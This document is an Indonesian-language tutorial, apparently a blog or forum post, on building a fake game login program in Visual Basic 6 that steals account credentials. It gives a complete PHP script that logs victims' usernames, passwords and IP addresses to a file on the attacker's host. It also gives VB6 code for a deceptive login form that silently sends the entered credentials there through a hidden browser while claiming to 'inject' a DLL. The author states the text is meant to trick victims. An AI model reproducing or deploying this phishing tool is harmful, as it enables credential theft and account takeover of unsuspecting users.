Membuat FakeLogin Di Visual Basic 6

pada siang ini saya akan memPosting cara Membuat FakeLogin Dengan Visual Basic 6 : 
Okeeh kita langsung ke TKP

sekarang udah banyak kan fakelogin, dan bervariasi cara pembuatanya.. 
biar gak ketinggalan sama yang lain ane pengen share tutor nya sekalian, untuk programnya ya sudah jelas pakai VB6, ane sendiri sih pake VB6 full version agan terserah mau pakai yg full atau portable.. ane pribadi saranin pakai yang full.. 
kalo yang gak punya gak usah ragu bertanya pada mbah google :

pertama dan yang harus agan miliki adalah web hosting untuk menyimpan script php dan data yang berhasil di hack nantinya..

buka web hosting, buat file php dengan nama bhc-bhottu.php, lalu copas dan save kode ini

Quote:<?php
$datum=date('d-m-Y / h:i:s a');
$email = $_GET[e];
$password = $_GET[p];
$ip = getenv ('REMOTE_ADDR');
$fl = fopen('bhc.txt', 'a');
fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
fclose($fl);
$ref = $_SERVER['HTTP_REFERER'];
header("location: $ref");
?>

Buka VB6 >> pilih Standar EXE.. 

- Buat 1 Form beri nama frmUtama

[img]http://2.bp.blogspot.com/-

RhPgw4QJC8Y/UEb8sPOXdaI/AAAAAAAAA_E/FApuGtRZvGA/s1600/1.jpg[/img]

-Copas kode dibawah ini kedalam frmUtama

Quote:lblInfo.Caption = "Memeriksa Server!"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Server Game !"
Else
lblInfo.Caption = "Masukan ID dan Password valid untuk di verifikasi"
Me.Caption = "WTF"
End If

-buat 1 Module dengan nama modConnect, kemudian masukan kode berikut kedalam modConnect

Quote:Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8

'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

- Buat 2 buah text box, 1 buah command button dan 1 buah label..

beri nama text box comd button dan label nya seperti ini:
textbox pertama beri nama : txtUname
textbox Kedua beri nama : txtPass
command button beri nama : cmdLogin
label beri nama : lblInfo

-copas lagi kode ini ke dalam cmdLogin

Quote:Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Inject dll sedang di Proses tunggu sebentar !"
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://website agan disini/bhc-bhottu.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :P

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Inject Berhasil !"
MsgBox "Sukses !", vbExclamation, "Error"
End If

ok selesai..
kita test script berjalan lancar atau tidak, jika tidak ada pesan error maka akan muncul seperti gambar di bawah

yang terakhir klik File>> Make Project1.exe..
_________________

Untuk hasil nya akan di simpan pada file bhc.txt


oya ini yang ane jelasin hanya basic nya aja tanpa design, jadi untuk design nya silahkan berkreasi sendiri agar lebih meyakinkan 

Kata" yang ane gunakan pada program tsb 100% hanya tipuan belaka, gunanya untuk meyakinkan calon korban agar memasukan ID dan PASS nya.. untuk teks sendiri bisa di rubah sesuai keinginan ya, jadi kalo ini gak usah di jelasin cara merubah kata"nya